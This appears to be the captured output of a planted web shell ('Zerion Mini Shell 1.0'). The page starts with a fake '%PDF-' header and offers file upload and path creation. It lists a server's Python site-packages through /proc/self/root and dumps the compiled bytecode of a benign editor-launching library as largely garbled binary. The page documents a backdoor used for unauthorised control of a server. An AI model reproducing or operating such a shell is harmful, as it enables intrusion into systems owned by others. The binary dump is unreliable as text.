%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/alt/python27/lib/python2.7/site-packages/
Upload File :
Create Path :
Current File : //proc/self/root/opt/alt/python27/lib/python2.7/site-packages/editor.pyo

�
*m�Uc@s�dZddlmZddlZddlZddlZddlZddlm	Z	dddgZ
dZdefd	��YZ
d
�Zd�Zd�Zd
�Zddd�Zd�Zd�Zedkr|ddlZej�Zej�Zejd�Zejde�ejd�Zejde�ejdde dd�ejdde �ej!�Z"e"je"�ndS(s,Tools for invoking editors programmatically.i����(tprint_functionN(tfind_executableteditt
get_editortEditorErrors0.4cBseZRS((t__name__t
__module__(((s7/opt/alt/python27/lib/python2.7/site-packages/editor.pyRscCs
dddgS(Ntvimtemacstnano((((s7/opt/alt/python27/lib/python2.7/site-packages/editor.pytget_default_editorsscCsH|dkrdS|dkr dS|dkr0dS|dkr@d	Sd
SdS(NRtgvims-f -oRs-nwtgedits-w --new-windowR	s-Rt(svimR((teditor((s7/opt/alt/python27/lib/python2.7/site-packages/editor.pytget_editor_args#scCsdS(Ns$EDITOR((((s7/opt/alt/python27/lib/python2.7/site-packages/editor.pytget_platform_editor_var4scCsutjjd�p!tjjd�}|r.|Sx-t�D]"}t|�}|dk	r8|Sq8Wtdt���dS(NtVISUALtEDITORsVUnable to find a viable editor on this system.Please consider setting your %s variable(tostenvirontgetR
RtNoneRR(Rtedtpath((s7/opt/alt/python27/lib/python2.7/site-packages/editor.pyR9s$cCs�t�}ttjj|��}|g|jd�}|dkr[tj�}|j	}n|dk	r�t
|dd��}|j|�WdQXn||g7}tj
|dt�}|j�t
|dd��}|j�SWdQXdS(Nt tmodetwbt	close_fdstrb(RRRRtbasenametsplitRttempfiletNamedTemporaryFiletnametopentwritet
subprocesstPopentTruetcommunicatetread(tfilenametcontentsRtargsttmptftproc((s7/opt/alt/python27/lib/python2.7/site-packages/editor.pyRIs	

cCstt��dS(N(tprintR(tns((s7/opt/alt/python27/lib/python2.7/site-packages/editor.pyt_get_editor_scCsM|j}|dk	r-|jtj��}nttd|jd|��dS(NR*R+(R+RtencodetlocaletgetpreferredencodingR0RR(R1R+((s7/opt/alt/python27/lib/python2.7/site-packages/editor.pyt_editcs	t__main__s
get-editortcmdRttypetnargst?s
--contents(#t__doc__t
__future__RR4tos.pathRR%R tdistutils.spawnRt__all__t__version__tRuntimeErrorRR
RRRRRR2R6RtargparsetArgumentParsertaptadd_subparserstspt
add_parserR8tset_defaultstadd_argumenttstrt
parse_argsR1(((s7/opt/alt/python27/lib/python2.7/site-packages/editor.pyt<module>s<								

Zerion Mini Shell 1.0